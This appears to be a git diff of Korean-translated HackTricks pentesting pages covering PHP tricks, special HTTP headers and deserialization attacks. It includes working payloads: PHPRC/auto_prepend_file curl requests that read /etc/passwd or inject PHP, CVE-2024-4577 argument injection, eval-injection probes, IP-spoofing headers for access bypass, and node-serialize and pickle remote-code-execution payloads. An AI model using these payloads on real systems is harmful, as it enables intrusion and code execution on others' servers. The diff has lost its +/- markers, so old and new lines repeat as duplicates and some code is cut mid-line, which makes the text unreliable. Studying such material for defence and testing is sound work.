- **register_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있을 수 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있는 경우 e.g. $\_GET\["param"]="1234", 이를 **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 **덮어쓸 수 있습니다**.
- **동일 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장됩니다**, 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다**.\
이렇게 하면 **두 경로가 동일한 이름의 변수를 접근할 경우** **path1의 해당 변수 값을 path2에 적용할 수 있습니다**. 그러면 path2는 path1의 변수를 유효한 것으로 간주하게 됩니다(쿠키에 path2에 해당하는 이름을 부여함으로써).
- 머신 사용자의 **사용자 이름**이 있을 때, 주소를 확인하세요: **/\~\<USERNAME>** php 디렉토리가 활성화되어 있는지 확인합니다.
- [**LFI 및 RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
- **register_globals**: In **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register_globals**가 활성화될 수 있습니다 (또는 그 동작이 모방되고 있습니다). 이는 $\_GET과 같은 전역 변수에 값이 있는 경우 예를 들어 $\_GET\["param"]="1234"와 같이, **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다\*\*.
- **같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다**, 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다**.\
이렇게 하면 **두 경로가 같은 이름의 변수를 접근할 경우** path1의 **변수 값을 path2에 적용할 수 있습니다**. 그러면 path2는 path1의 변수를 유효한 것으로 간주하게 됩니다 (path2에서 해당 이름에 맞는 쿠키를 부여함으로써).
- 머신의 **사용자 이름**을 알고 있을 때, 주소 **/\~\<USERNAME>**를 확인하여 php 디렉토리가 활성화되어 있는지 확인하십시오.
- php 설정에 **`register_argc_argv = On`**이 설정되어 있으면, 공백으로 구분된 쿼리 매개변수가 **`array_keys($_SERVER['argv'])`** 배열을 채우는 데 사용됩니다 **CLI의 인수처럼**. 이는 흥미로운데, 만약 **그 설정이 꺼져 있다면**, 웹에서 호출할 때 **args 배열의 값은 `Null`**이 됩니다. 따라서 웹 페이지가 `if (empty($_SERVER['argv'])) {`와 같은 비교로 웹에서 실행되고 있는지 CLI 도구로 실행되고 있는지를 확인하려고 할 때, 공격자는 **GET 요청에 `?--configPath=/lalala`와 같은 매개변수를 전송할 수 있으며** 이는 CLI로 실행되고 있다고 생각하게 되어 해당 인수를 파싱하고 사용할 수 있습니다. 더 많은 정보는 [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms)에서 확인하십시오.
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다**.\
지원되는 알고리즘은: `PASSWORD_DEFAULT``PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일하다는 점에 유의하세요.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72bytes**입니다. 따라서 이 알고리즘으로 72bytes보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다:
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성하고** 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다**.\
지원되는 알고리즘은: `PASSWORD_DEFAULT``PASSWORD_BCRYPT` (시작은 `$2y$`). **PASSWORD_DEFAULT는 종종 PASSWORD_BCRYPT와 동일합니다.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72bytes**입니다. 따라서 이 알고리즘으로 72bytes보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -184,8 +185,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### 헤더 설정 전에 본문 채우기
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **충분히 긴 콘텐츠**를 출력하도록 만들어서 응답에 **헤더를 추가하려고 할 때** 서버가 오류를 발생시키게 할 수 있습니다.\
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키도록 만들었으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **충분히 긴 콘텐츠**를 출력하게 만들어 응답에 **헤더를 추가하려고 할 때** 서버가 오류를 발생시키게 할 수 있습니다.\
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키게 했으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):
![](<../../../images/image (1085).png>)
@ -263,17 +264,17 @@ usort();}phpinfo;#, "cmp");
- `?order=id;}//`: 오류 메시지(`Parse error: syntax error, unexpected ';'`)가 발생합니다. 하나 이상의 괄호가 누락된 것 같습니다.
- `?order=id);}//`: **경고**가 발생합니다. 적절한 것 같습니다.
- `?order=id));}//`: 오류 메시지(`Parse error: syntax error, unexpected ')' i`)가 발생합니다. 닫는 괄호가 너무 많은 것 같습니다.
- `?order=id));}//`: 오류 메시지(`Parse error: syntax error, unexpected ')' i`)가 발생합니다. 닫는 괄호가 너무 많을 수 있습니다.
### **.httaccess를 통한 RCE**
**.htaccess**를 **업로드**할 수 있다면, 여러 가지를 **구성**하고 코드를 실행할 수 있습니다(확장자가 .htaccess인 파일이 **실행될 수 있도록 구성).
**.htaccess**를 **업로드**할 수 있다면, 여러 가지를 **구성**하고 코드를 실행할 수 있습니다(확장자가 .htaccess인 파일이 **실행될 수 있도록 구성).
다양한 .htaccess 쉘은 [여기](https://github.com/wireghoul/htshells)에서 찾을 수 있습니다.
### 환경 변수를 통한 RCE
### 환경 변수로 인한 RCE
PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파일 업로드를 허용하는 또 다른 취약점이 있을 수 있지만, 더 많은 연구를 통해 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파일을 업로드할 수 있는 또 다른 취약점이 있다면, 더 많은 연구를 통해 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다(이 경우 작동하지 않을 수 있습니다).
- **`PHPRC`**: PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 PHP 런타임에 의해 다른 코드보다 먼저 실행됩니다.
@ -284,13 +285,13 @@ PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파
- **PHPRC** - 또 다른 옵션
- 파일을 **업로드할 수 없는 경우**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드** 파일을 전처리합니다:
- 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 전처리합니다:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 가져왔습니다.
### XAMPP CGI RCE - CVE-2024-4577
웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`로 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 합니다:
웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`, 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 합니다:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
@ -324,11 +325,11 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
PHP 애플리케이션을 디버깅하는 경우 `/etc/php5/apache2/php.ini``display_errors = On`을 추가하여 전역적으로 오류 출력을 활성화하고 apache를 재시작할 수 있습니다: `sudo systemctl restart apache2`
PHP 애플리케이션을 디버깅하는 경우 `/etc/php5/apache2/php.ini` `display_errors = On`을 추가하여 전역적으로 오류 출력을 활성화하고 apache를 재시작할 수 있습니다: `sudo systemctl restart apache2`
### PHP 코드 디오브퓨스케이팅
PHP 코드를 디오브퓨스케이팅하려면 **web**[ **www.unphp.net**](http://www.unphp.net) **을 사용할 수 있습니다.**
PHP 코드를 디오브퓨스케이트하기 위해 **web**[ **www.unphp.net**](http://www.unphp.net) **를 사용할 수 있습니다.**
## PHP 래퍼 및 프로토콜

View File

@ -1,15 +1,15 @@
# 특수 HTTP 헤더
# Special HTTP headers
{{#include ../../banners/hacktricks-training.md}}
## 단어 목록 및 도구
## Wordlists & Tools
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
## 위치 변경을 위한 헤더
## Headers to Change Location
**IP 출처** 재작성:
Rewrite **IP source**:
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@ -26,16 +26,16 @@
- `True-Client-IP: 127.0.0.1`
- `Cluster-Client-IP: 127.0.0.1`
- `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (호프-바이-호프 헤더 확인)
- `Connection: close, X-Forwarded-For` (Check hop-by-hop headers)
**위치** 재작성:
Rewrite **location**:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
## 호프-바이-호프 헤더
## Hop-by-Hop headers
호프-바이-호프 헤더는 요청을 처리하는 프록시에서 처리되고 소비되도록 설계된 헤더로, 종단 간 헤더와는 다릅니다.
A hop-by-hop header는 요청을 처리하는 프록시에서 처리되고 소비되도록 설계된 헤더로, 종단 간 헤더와는 다릅니다.
- `Connection: close, X-Forwarded-For`
@ -43,7 +43,7 @@
../../pentesting-web/abusing-hop-by-hop-headers.md
{{#endref}}
## HTTP 요청 스머글링
## HTTP Request Smuggling
- `Content-Length: 30`
- `Transfer-Encoding: chunked`
@ -52,14 +52,14 @@
../../pentesting-web/http-request-smuggling/
{{#endref}}
## 캐시 헤더
## Cache Headers
**서버 캐시 헤더**:
- 응답의 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있으며, 캐시되었을 때는 **`hit`** 값을 가질 수 있습니다.
- 헤더 **`Cf-Cache-Status`**에서도 유사한 동작이 나타납니다.
- **`X-Cache`** 응답에서 요청이 캐시되지 않았을 때는 **`miss`** 값을 가질 수 있으며, 캐시되었을 때는 **`hit`** 값을 가니다.
- 헤더 **`Cf-Cache-Status`**에서도 유사한 동작을 합니다.
- **`Cache-Control`**은 리소스가 캐시되고 있는지와 다음에 리소스가 다시 캐시될 시간에 대해 나타냅니다: `Cache-Control: public, max-age=1800`
- **`Vary`**는 응답에서 **추가 헤더**를 나타내기 위해 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다.
- **`Vary`**는 응답에서 **추가 헤더**를 나타내는 데 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다.
- **`Age`**는 객체가 프록시 캐시에 있었던 시간을 초 단위로 정의합니다.
- **`Server-Timing: cdn-cache; desc=HIT`**는 리소스가 캐시되었음을 나타냅니다.
@ -74,49 +74,50 @@
- `Pragma: no-cache``Cache-Control: no-cache`와 동일합니다.
- `Warning`: **`Warning`** 일반 HTTP 헤더는 메시지 상태와 관련된 가능한 문제에 대한 정보를 포함합니다. 응답에 여러 개의 `Warning` 헤더가 나타날 수 있습니다. `Warning: 110 anderson/1.3.37 "Response is stale"`
## 조건부 요청
## Conditionals
- 이러한 헤더를 사용하는 요청: **`If-Modified-Since`** 및 **`If-Unmodified-Since`**는 응답 헤더\*\*`Last-Modified`\*\*에 다른 시간이 포함된 경우에만 데이터로 응답합니다.
- **`If-Match`** 및 **`If-None-Match`**를 사용하는 조건부 요청은 Etag 값을 사용하여 데이터(Etag)가 변경된 경우 웹 서버가 응답의 내용을 전송합니다. `Etag`는 HTTP 응답에서 가져옵니다.
- **Etag** 값은 일반적으로 응답의 **내용**을 기반으로 **계산됩니다**. 예를 들어, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"``Etag`가 **37 바이트**의 **Sha1**임을 나타냅니다.
- **Etag** 값은 일반적으로 응답의 **내용**을 기반으로 **계산**됩니다. 예를 들어, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"``Etag`가 **37 바이트**의 **Sha1**임을 나타냅니다.
## 범위 요청
## Range requests
- **`Accept-Ranges`**: 서버가 범위 요청을 지원하는지 여부와 범위를 표현할 수 있는 단위를 나타냅니다. `Accept-Ranges: <range-unit>`
- **`Range`**: 서버가 반환해야 하는 문서의 부분을 나타냅니다.
- **`Range`**: 서버가 반환해야 하는 문서의 부분을 나타냅니다. 예를 들어, `Range:80-100`은 원래 응답의 80에서 100 바이트를 반환하며, 상태 코드는 206 Partial Content입니다. 요청에서 `Accept-Encoding` 헤더를 제거하는 것도 잊지 마세요.
- 이는 그렇지 않으면 이스케이프될 수 있는 임의의 반사된 자바스크립트 코드로 응답을 얻는 데 유용할 수 있습니다. 그러나 이를 악용하려면 요청에 이 헤더를 주입해야 합니다.
- **`If-Range`**: 주어진 etag 또는 날짜가 원격 리소스와 일치하는 경우에만 충족되는 조건부 범위 요청을 생성합니다. 리소스의 호환되지 않는 버전에서 두 범위를 다운로드하는 것을 방지하는 데 사용됩니다.
- **`Content-Range`**: 전체 본문 메시지에서 부분 메시지가 속하는 위치를 나타냅니다.
## 메시지 본문 정보
## Message body information
- **`Content-Length`:** 리소스의 크기, 바이트의 10진수 수입니다.
- **`Content-Type`**: 리소스의 미디어 유형을 나타냅니다.
- **`Content-Encoding`**: 압축 알고리즘을 지정하는 데 사용됩니다.
- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호 언어에 따라 구분할 수 있도록 합니다.
- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호하는 언어에 따라 구별할 수 있도록 합니다.
- **`Content-Location`**: 반환된 데이터의 대체 위치를 나타냅니다.
펜테스트 관점에서 이 정보는 일반적으로 "쓸모없다"고 여겨지지만, 리소스가 **401** 또는 **403**으로 **보호**되고 이 **정보**를 **얻는 방법**을 찾을 수 있다면, 이는 **흥미로울 수 있습니다.**\
예를 들어, HEAD 요청에서 **`Range`**와 **`Etag`**의 조합은 HEAD 요청을 통해 페이지의 내용을 유출할 수 있습니다:
- 헤더 `Range: bytes=20-20`가 있는 요청과 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함된 경우, 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 유출하고 있습니다.
- 헤더 `Range: bytes=20-20`와 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함된 요청은 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 유출하고 있습니다.
## 서버 정보
## Server Info
- `Server: Apache/2.4.1 (Unix)`
- `X-Powered-By: PHP/5.3.3`
## 제어
## Controls
- **`Allow`**: 이 헤더는 리소스가 처리할 수 있는 HTTP 메서드를 전달하는 데 사용됩니다. 예를 들어, `Allow: GET, POST, HEAD`로 지정될 수 있으며, 이는 리소스가 이러한 메서드를 지원함을 나타냅니다.
- **`Expect`**: 클라이언트가 요청이 성공적으로 처리되기 위해 서버가 충족해야 하는 기대를 전달하는 데 사용됩니다. 일반적인 사용 사례는 클라이언트가 대량의 데이터 페이로드를 전송할 의도 나타내는 `Expect: 100-continue` 헤더입니다. 클라이언트는 전송을 진행하기 전에 `100 (Continue)` 응답을 찾습니다. 이 메커니즘은 서버 확인을 기다림으로써 네트워크 사용을 최적화하는 데 도움이 됩니다.
- **`Expect`**: 클라이언트가 요청이 성공적으로 처리되기 위해 서버가 충족해야 하는 기대를 전달하는 데 사용됩니다. 일반적인 사용 사례는 클라이언트가 대량의 데이터 페이로드를 전송할 의도가 있음을 나타내는 `Expect: 100-continue` 헤더입니다. 클라이언트는 전송을 진행하기 전에 `100 (Continue)` 응답을 찾습니다. 이 메커니즘은 서버 확인을 기다림으로써 네트워크 사용을 최적화하는 데 도움이 됩니다.
## 다운로드
## Downloads
- HTTP 응답의 **`Content-Disposition`** 헤더는 파일이 **인라인**(웹페이지 내)으로 표시되어야 하는지 또는 **첨부 파일**(다운로드)로 처리되어야 하는지를 지시합니다. 예를 들어:
- HTTP 응답의 **`Content-Disposition`** 헤더는 파일이 **인라인**(웹페이지 내)으로 표시되어야 하는지 또는 **첨부파일**(다운로드)로 처리되어야 하는지를 지시합니다. 예를 들어:
```
Content-Disposition: attachment; filename="filename.jpg"
```
이것은 "filename.jpg"라는 이름의 파일이 다운로드되어 저장될 의도임을 의미합니다.
이것은 "filename.jpg"라는 이름의 파일이 다운로드되고 저장되도록 의도되었음을 의미합니다.
## 보안 헤더
@ -165,20 +166,20 @@ Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
```
### **Cross-Origin Embedder Policy (COEP) Cross-Origin Opener Policy (COOP)**
### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
COEP와 COOP는 교차 출처 격리를 가능하게 하는 데 필수적이며, Spectre와 유사한 공격의 위험을 크게 줄입니다. 이들은 각각 교차 출처 리소스의 로딩과 교차 출처 창과의 상호 작용을 제어합니다.
COEP와 COOP는 교차 출처 격리를 가능하게 하는 데 필수적이며, Spectre와 유사한 공격의 위험을 크게 줄입니다. 이들은 각각 교차 출처 리소스의 로딩과 교차 출처 창과의 상호작용을 제어합니다.
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
```
### **HTTP Strict Transport Security (HSTS)**
마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호 보안을 강화합니다.
마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호 보안을 강화합니다.
```
Strict-Transport-Security: max-age=3153600
```
## 참고 문헌
## References
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)

View File

@ -4,11 +4,11 @@
## Basic Information
**Serialization**는 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해됩니다. 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다.
**Serialization**는 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해되며, 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다.
**Deserialization**은 반대로 직렬화에 반하는 과정입니다. 이는 특정 형식으로 구조화된 데이터를 가져와 다시 객체로 재구성하는 것을 포함합니다.
Deserialization은 **공격자가 직렬화된 데이터를 조작하여 해로운 코드를 실행하거나 객체 재구성 과정에서 애플리케이션의 예기치 않은 동작을 유발할 수 있할 가능성이 있기 때문에 위험할 수 있습니다.**
Deserialization은 **공격자가 직렬화된 데이터를 조작하여 해로운 코드를 실행하거나 객체 재구성 과정에서 애플리케이션의 예기치 않은 동작을 유발할 수 있도록 허용할 가능성이 있기 때문에 위험할 수 있습니다.**
## PHP
@ -18,7 +18,7 @@ PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가
- `__wakeup`: 객체가 역직렬화될 때 호출됩니다. 이는 직렬화 중에 손실된 데이터베이스 연결을 재설정하고 다른 재초기화 작업을 수행하는 데 사용됩니다.
- `__unserialize`: 이 메서드는 객체가 역직렬화될 때 `__wakeup` 대신 호출됩니다(존재하는 경우). 이는 `__wakeup`에 비해 역직렬화 과정에 대한 더 많은 제어를 제공합니다.
- `__destruct`: 이 메서드는 객체가 파괴되기 직전이나 스크립트가 끝날 때 호출됩니다. 일반적으로 파일 핸들이나 데이터베이스 연결을 닫는 등의 정리 작업에 사용됩니다.
- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 니다. 이는 파일을 읽거나 그 안의 함수 호출에 따라 다른 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다.
- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 따라 다른 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다.
```php
<?php
class test {
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
### 참조된 값 직렬화
어떤 이유로 값을 **직렬화된 다른 값에 대한 참조**로 직렬화하고 싶다면 다음과 같이 할 수 있습니다:
어떤 이유로 값을 **직렬화된 다른 값에 대한 참조로** 직렬화하고 싶다면 다음과 같이 할 수 있습니다:
```php
<?php
class AClass {
@ -123,7 +123,7 @@ $ser=serialize($o);
### phar:// 메타데이터 역직렬화
파일을 읽기만 하고 그 안의 PHP 코드를 실행하지 않는 LFI를 찾았다면, 예를 들어 _**file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**_**와 같은 함수를 사용하는 경우**. **phar** 프로토콜을 사용하여 **파일**을 **읽을 때** 발생하는 **역직렬화**를 악용해 볼 수 있습니다.\
파일을 읽기만 하고 그 안의 PHP 코드를 실행하지 않는 LFI를 찾았다면, 예를 들어 _**file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**_**와 같은 함수를 사용하는 경우.** **phar** 프로토콜을 사용하여 **파일**을 **읽을 때** 발생하는 **역직렬화**를 악용해 볼 수 있습니다.\
자세한 정보는 다음 게시물을 읽어보세요:
{{#ref}}
@ -153,7 +153,7 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
다음 페이지는 **YAML의 안전하지 않은 역직렬화를 악용하는 기술**을 제시하고 **Pickle, PyYAML, jsonpickle 및 ruamel.yaml**에 대한 RCE 역직렬화 페이로드를 생성하는 데 사용할 수 있는 도구로 마무리됩니다:
다음 페이지는 **YAML의 안전하지 않은 역직렬화를 악용하는 기술**을 제시하고, **Pickle, PyYAML, jsonpickle 및 ruamel.yaml**에 대한 RCE 역직렬화 페이로드를 생성하는 데 사용할 수 있는 도구로 마무리됩니다:
{{#ref}}
python-yaml-deserialization.md
@ -170,9 +170,9 @@ python-yaml-deserialization.md
### JS Magic Functions
JS는 객체를 생성하기 위해 단순히 실행되는 **"마법" 함수**가 없습니다. 그러나 **`toString`**, **`valueOf`**, **`toJSON`**과 같이 **직접 호출하지 않고도 자주 사용되는 함수**가 있습니다.\
역직렬화를 악용하는 경우 이러한 함수를 **타협하여 다른 코드를 실행**할 수 있으며(프로토타입 오염을 악용할 가능성 있음) 호출될 때 임의의 코드를 실행할 수 있습니다.
역직렬화를 악용 경우 이러한 함수를 **타협하여 다른 코드를 실행**할 수 있으며(프로토타입 오염을 악용할 가능성 있음), 호출될 때 임의의 코드를 실행할 수 있습니다.
함수를 직접 호출하지 않고 호출하는 또 다른 **"마법" 방법**은 **비동기 함수**(프라미스)에서 반환된 객체를 **타협하는 것**입니다. 왜냐하면, 그 **반환 객체**를 **함수형의 "then"이라는 속성을 가진 또 다른 **프라미스**로 **변환**하면, 다른 프라미스에 의해 반환되었기 때문에 **실행**됩니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 따라가세요._
함수를 직접 호출하지 않고 호출하는 또 다른 **"마법" 방법**은 **비동기 함수**(프라미스)에서 반환된 객체를 **타협하는 것**입니다. 왜냐하면, 그 **반환 객체**를 **함수형의 "then"이라는 속성을 가진 또 다른 **프라미스**로 **변환**하면, 다른 프라미스에 의해 반환되었기 때문에 **실행**됩니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 참조하세요._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -233,8 +233,8 @@ console.log("Serialized: \n" + payload_serialized)
마지막 코드 조각에서 볼 수 있듯이, **플래그가 발견되면** `eval`이 사용되어 함수를 역직렬화하므로 기본적으로 **사용자 입력이 `eval` 함수 안에서 사용됩니다**.
하지만, **함수를 단순히 직렬화하는 것만으로는** 그것이 실행되지 않습니다. 왜냐하면 코드의 일부가 **`y.rce`를 호출해야 하기 때문**이며, 이는 매우 **가능성이 낮습니다**.\
어쨌든, **직렬화된 객체를 수정하여** **괄호를 추가**하면 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 할 수 있습니다.\
그러나 **함수를 단순히 직렬화하는 것만으로는** 그것이 실행되지 않습니다. 왜냐하면 코드의 일부가 **우리의 예제에서 `y.rce`를 호출해야 하기 때문이며, 이는 매우 **가능성이 낮습니다**.\
어쨌든, **직렬화된 객체를 수정하여** **괄호를 추가함으로써** 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 할 수 있습니다.\
다음 코드 조각에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방법에 주목하세요:
```javascript
var serialize = require("node-serialize")
@ -250,13 +250,13 @@ var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
```
여기에서 이 취약점을 악용하는 방법에 대한 [**추가 정보**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)를 찾을 수 있습니다.
You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.
### [funcster](https://www.npmjs.com/package/funcster)
**funcster**의 주목할 만한 측면은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 방지되어, `console.log()``require(something)`와 같은 명령 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다.
**funcster**의 주목할 만한 점은 **표준 내장 객체**의 접근 불가능성입니다; 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 방지되어, `console.log()``require(something)`와 같은 명령어를 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다.
이 제한에도 불구하고, 특정 접근 방식을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 완전한 접근을 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:
이 제한에도 불구하고, 특정 접근 방식을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 전체 접근을 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:
```javascript
funcster = require("funcster")
//Serialization
@ -288,7 +288,7 @@ function deserialize(serializedJavascript) {
